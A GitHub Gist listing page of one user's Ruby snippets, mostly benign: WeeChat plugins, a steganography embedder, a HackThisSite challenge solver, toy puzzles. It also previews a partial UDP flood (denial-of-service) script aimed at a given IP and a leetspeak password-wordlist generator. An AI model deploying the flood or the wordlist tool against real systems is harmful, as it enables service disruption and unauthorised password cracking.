Skip to content

Instantly share code, notes, and snippets.

@Ninjex
Ninjex / main.rb
Last active December 21, 2019 20:58
Hackthisite Programming 2 (Requires Mechanize and RMagick gems) -- Autocompletion
#!/usr/bin/ruby
# ███▄ █ ██▓ ███▄ █ ▄▄▄██▀▀▀▓█████ ▒██ ██▒
# ██ ▀█ █ ▓██▒ ██ ▀█ █ ▒██ ▓█ ▀ ▒▒ █ █ ▒░
# ▓██ ▀█ ██▒▒██▒▓██ ▀█ ██▒ ░██ ▒███ ░░ █ ░
# ▓██▒ ▐▌██▒░██░▓██▒ ▐▌██▒▓██▄██▓ ▒▓█ ▄ ░ █ █ ▒
# ▒██░ ▓██░░██░▒██░ ▓██░ ▓███▒ ░▒████▒▒██▒ ▒██▒
# ░ ▒░ ▒ ▒ ░▓ ░ ▒░ ▒ ▒ ▒▓▒▒░ ░░ ▒░ ░▒▒ ░ ░▓ ░
# ░ ░░ ░ ▒░ ▒ ░░ ░░ ░ ▒░ ▒ ░▒░ ░ ░ ░░░ ░▒ ░
# ░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
# ░ ░ ░ ░ ░ ░ ░ ░ ░
@Ninjex
Ninjex / substitute.rb
Created March 17, 2014 16:26
Substitute character values in a password file, generating new strings. Save to the desired file. -- Not very efficient
#!/usr/bin/ruby
@convert = {
"e" => ["e", "3"], "l" => ["l", "1"], "o" => ["o", "0"],
"a" => ["a", "4"], "t" => ["t", "7"], "s" => ["s", "5", "$"],
"c" => ["c", "("], "g" => ["g", "6"], "p" => ["p", "9"],
"b" => ["b", "8"]
}
@arrays = @convert.values # Grab all arrays in the hash
@Ninjex
Ninjex / sql.rb
Created March 17, 2014 15:07
Query a MySQL database from within Weechat. Ruby plugin
#!/usr/bin/ruby
# Required packages / gems
# libmysql-ruby libmysqlclient-dev
# gem mysql2
require 'mysql2'
@options = {
"public" => "false", # MySQL query result publicly visible
"host" => "localhost", # MySQL host
"user" => "root", # MySQL username
@Ninjex
Ninjex / rsub-doc.md
Last active August 26, 2022 10:57
How to: Setting up Sublime Text to work through an SSH tunnel.

First, you need to install the Sublime Text package manager.

To do this, open up Sublime Text, and hit hit the cntrl+p key binding (or navigate to: Preferences -> Package Control)

When prompted for the search query, type the following: 'Package Control: Install Package'

Press enter, and shortly it should generate a list of plugins that can be installed to Sublime.

Search for the following plugin: 'RemoteOpen' and press enter. This will begin the installation.

@Ninjex
Ninjex / short_url.rb
Last active August 29, 2015 13:57
A Weechat plugin for shortening long URL's. This script uses the URL shortening application at hts.io
#!/usr/bin/ruby
# Need to add a validation check on URL's -- just don't be ignorant with it :D
require 'mechanize' # Necessary to communicate with the server.
def weechat_init
Weechat.register('short_url', 'Ninjex', '1.0', 'GPL3', 'Shorten a URL /short_url <link>', '', '')
Weechat.hook_command('short_url', 'Shorten URL /short_url <link>', '', '', '', 'short_url', '')
return Weechat::WEECHAT_RC_OK
end
def short_url(data, buffer, args)
@Ninjex
Ninjex / exec.rb
Created March 10, 2014 19:31
A Weechat plugin coded in Ruby. This plugin allows you to run command on your machine from IRC, additionally you may choose to directly post the messages to all users in IRC with the -p option. For example: /exec -p echo 'hi'
#!/usr/bin/ruby
def weechat_init
Weechat.register('exec', 'Ninjex', '1.0', 'GPL3', 'Execute a terminal command via /exec <command>', '', '')
Weechat.hook_command('exec', 'Execute a terminal command from chat', '', '', '', 'exec', '')
return Weechat::WEECHAT_RC_OK
end
def exec(data, buffer, args)
to = nil
buffer = Weechat.current_buffer
@Ninjex
Ninjex / stego.rb
Created February 28, 2014 16:20
This script will take text and embed it into a picture via tampering with pixel LSB values.
#!/usr/bin/ruby
require 'rubygems'
require 'RMagick'
prompt = '> '
puts "Image to embed (not overwritten):"
print prompt
image_file = gets.chomp
img = Magick::Image::read(image_file)[0]
width = img.columns
height = img.rows
@Ninjex
Ninjex / hailstorm.rb
Created February 27, 2014 15:32
Hailstorm Function
#!/usr/bin/ruby
def hailstorm n
vals = [n]
while n > 1 and n = (n.even?) ? (n/2) : (3 * n + 1)
vals << n
end
p vals # List returns
end
hailstorm(27)
@Ninjex
Ninjex / fizzbuzz.rb
Last active August 29, 2015 13:56
FizzBuzz with classes
class Enumerator::Lazy
def filter_map
Lazy.new(self) do |holder, *values|
result = yield *values
holder << result if result
end
end
end
class Fizz
@Ninjex
Ninjex / flood.rb
Last active July 19, 2018 01:42
Ruby UDP Flood
#!/usr/bin/ruby
require 'socket'
if ARGV[0] == '-ip' then ip = ARGV[1] end
if ARGV[2] == '-t' then seconds = ARGV[3].to_i end
if ARGV[2].nil? || ARGV[2].empty? then abort "Usage: ruby flood.rb -ip <ip address> -t <time in seconds>" end
bytes = 'Z' * 1000
def get_time(one, two)
(two - one).to_i
end
puts "UDP flooding IP: #{ip} for #{seconds} seconds!"